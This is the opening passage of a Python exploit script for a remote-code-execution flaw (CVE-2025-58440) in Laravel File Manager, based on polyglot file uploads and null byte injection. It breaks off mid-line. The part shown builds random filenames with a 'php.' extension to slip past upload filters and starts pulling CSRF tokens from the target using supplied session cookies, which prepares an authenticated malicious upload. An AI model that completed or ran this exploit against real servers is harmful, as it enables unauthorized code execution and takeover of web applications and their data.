#!/usr/bin/env python3 """ Laravel File Manager Exploit (CVE-2025-58440) CVE: CVE-2025-58440 CVSS: 3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Author: Justin Lee (Ph.Hitachi) Title: Remote Code Execution (RCE) via Polyglot File Attack and Null Byte Injection on Laravel FileManager Version: affected =< 12.0 Github: https://github.com/UniSharp/laravel-filemanager """ from io import StringIO from rich.console import Console from rich.table import Table from rich.text import Text import requests import argparse import sys import random import string import re from urllib.parse import urlparse, quote def generate_random_filename(extension="php."): """Generate a random filename with the given extension""" random_string = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return f"{random_string}.{extension}" def extract_csrf_token(target, cookies): """Extract CSRF token from Laravel File Manager page""" try: # Parse target URL if not target.startswith(('http://', 'https://')): target = 'http://' + target url = f"{target}/laravel-filemanager" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36', 'Cookie': cookies } response = requests.get(url, headers=headers, timeout=30) if response.status_code == 200: # Look for CSRF token in hidden input field token_pattern = r"